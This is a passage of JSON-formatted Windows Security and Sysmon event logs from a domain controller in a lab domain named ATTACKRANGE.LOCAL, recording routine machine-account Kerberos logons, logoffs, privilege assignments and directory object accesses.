ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x42D91\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t49719\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x42d91","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"49719","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4662,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14080,"OpcodeValue":0,"RecordNumber":221639,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An operation was performed on an object.\r\n\r\nSubject :\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42D91\r\n\r\nObject:\r\n\tObject Server:\t\tDS\r\n\tObject Type:\t\t%{bf967a8d-0de6-11d0-a285-00aa003049e2}\r\n\tObject Name:\t\t%{725bf849-1e54-4913-87d4-6f1c26534f66}\r\n\tHandle ID:\t\t0x0\r\n\r\nOperation:\r\n\tOperation Type:\t\tObject Access\r\n\tAccesses:\t\tWRITE_DAC\r\n\t\t\t\t\r\n\tAccess Mask:\t\t0x40000\r\n\tProperties:\t\tWRITE_DAC\r\n\t{bf967a8d-0de6-11d0-a285-00aa003049e2}\r\n\r\n\r\nAdditional Information:\r\n\tParameter 1:\t\t-\r\n\tParameter 2:\t\t","Category":"Directory Service Access","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x42d91","ObjectServer":"DS","ObjectType":"%{bf967a8d-0de6-11d0-a285-00aa003049e2}","ObjectName":"%{725bf849-1e54-4913-87d4-6f1c26534f66}","OperationType":"Object Access","HandleId":"0x0","AccessList":"%%1539\r\n\t\t\t\t","AccessMask":"0x40000","Properties":"%%1539\r\n\t{bf967a8d-0de6-11d0-a285-00aa003049e2}\r\n","AdditionalInfo":"-","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221640,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42D91\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x42d91","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221641,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42CFD\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x42cfd","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2432,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.374\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00102F140200}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\system32\\dns.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31375|C:\\Windows\\system32\\lsasrv.dll+2f20b|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.374","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00102F140200}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\system32\\dns.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31375|C:\\Windows\\system32\\lsasrv.dll+2f20b|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221642,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42E51\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x42e51","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221643,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x42E51\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t49720\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x42e51","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"49720","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4662,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14080,"OpcodeValue":0,"RecordNumber":221644,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An operation was performed on an object.\r\n\r\nSubject :\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42E51\r\n\r\nObject:\r\n\tObject Server:\t\tDS\r\n\tObject Type:\t\t%{ef9e60e0-56f7-11d1-a9c6-0000f80367c1}\r\n\tObject Name:\t\t%{3e460a71-7939-4074-9e08-8906073b9d29}\r\n\tHandle ID:\t\t0x0\r\n\r\nOperation:\r\n\tOperation Type:\t\tObject Access\r\n\tAccesses:\t\tCreate Child\r\n\t\t\t\t\r\n\tAccess Mask:\t\t0x1\r\n\tProperties:\t\tCreate Child\r\n\t{bf967a8d-0de6-11d0-a285-00aa003049e2}\r\n\r\n\r\nAdditional Information:\r\n\tParameter 1:\t\tCN=b142d1b1-060d-4636-bc48-5422eda36832,CN=Partitions,CN=Configuration,DC=attackrange,DC=local\r\n\tParameter 2:\t\t%{75f0113b-589d-4ee2-966d-e6bb9e5c6911}","Category":"Directory Service Access","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x42e51","ObjectServer":"DS","ObjectType":"%{ef9e60e0-56f7-11d1-a9c6-0000f80367c1}","ObjectName":"%{3e460a71-7939-4074-9e08-8906073b9d29}","OperationType":"Object Access","HandleId":"0x0","AccessList":"%%7680\r\n\t\t\t\t","AccessMask":"0x1","Properties":"%%7680\r\n\t{bf967a8d-0de6-11d0-a285-00aa003049e2}\r\n","AdditionalInfo":"CN=b142d1b1-060d-4636-bc48-5422eda36832,CN=Partitions,CN=Configuration,DC=attackrange,DC=local","AdditionalInfo2":"%{75f0113b-589d-4ee2-966d-e6bb9e5c6911}","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221645,"ProcessID":860,"ThreadID":4252,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{5CFB240A-E6D1-50BF-1124-AEC849B823F4}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"WIN-DC-9849183$@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{5CFB240A-E6D1-50BF-1124-AEC849B823F4}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4662,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14080,"OpcodeValue":0,"RecordNumber":221646,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An operation was performed on an object.\r\n\r\nSubject :\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42E51\r\n\r\nObject:\r\n\tObject Server:\t\tDS\r\n\tObject Type:\t\t%{bf967a8d-0de6-11d0-a285-00aa003049e2}\r\n\tObject Name:\t\t%{75f0113b-589d-4ee2-966d-e6bb9e5c6911}\r\n\tHandle ID:\t\t0x0\r\n\r\nOperation:\r\n\tOperation Type:\t\tObject Access\r\n\tAccesses:\t\tWrite Property\r\n\t\t\t\t\r\n\tAccess Mask:\t\t0x20\r\n\tProperties:\t\tWrite Property\r\n\t\t{771727b1-31b8-4cdf-ae62-4fe39fadf89e}\r\n\t\t\t{a8df73f2-c5ea-11d1-bbcb-0080c76670c0}\r\n\t\t\t{bf967959-0de6-11d0-a285-00aa003049e2}\r\n\t\t\t{97de9615-b537-46bc-ac0f-10720f3909f3}\r\n\t\t\t{4c51e316-f628-43a5-b06b-ffb695fcb4f3}\r\n\t\t{e48d0154-bcf8-11d1-8702-00c04fb96050}\r\n\t\t\t{e0fa1e62-9b45-11d0-afdd-00c04fd930c9}\r\n\t{bf967a8d-0de6-11d0-a285-00aa003049e2}\r\n\r\n\r\nAdditional Information:\r\n\tParameter 1:\t\t-\r\n\tParameter 2:\t\t","Category":"Directory Service Access","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x42e51","ObjectServer":"DS","ObjectType":"%{bf967a8d-0de6-11d0-a285-00aa003049e2}","ObjectName":"%{75f0113b-589d-4ee2-966d-e6bb9e5c6911}","OperationType":"Object Access","HandleId":"0x0","AccessList":"%%7685\r\n\t\t\t\t","AccessMask":"0x20","Properties":"%%7685\r\n\t\t{771727b1-31b8-4cdf-ae62-4fe39fadf89e}\r\n\t\t\t{a8df73f2-c5ea-11d1-bbcb-0080c76670c0}\r\n\t\t\t{bf967959-0de6-11d0-a285-00aa003049e2}\r\n\t\t\t{97de9615-b537-46bc-ac0f-10720f3909f3}\r\n\t\t\t{4c51e316-f628-43a5-b06b-ffb695fcb4f3}\r\n\t\t{e48d0154-bcf8-11d1-8702-00c04fb96050}\r\n\t\t\t{e0fa1e62-9b45-11d0-afdd-00c04fd930c9}\r\n\t{bf967a8d-0de6-11d0-a285-00aa003049e2}\r\n","AdditionalInfo":"-","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221647,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42EBF\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x42ebf","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221648,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x42EBF\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{70073692-21C6-24B2-B0B5-1E4E73760CBB}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was 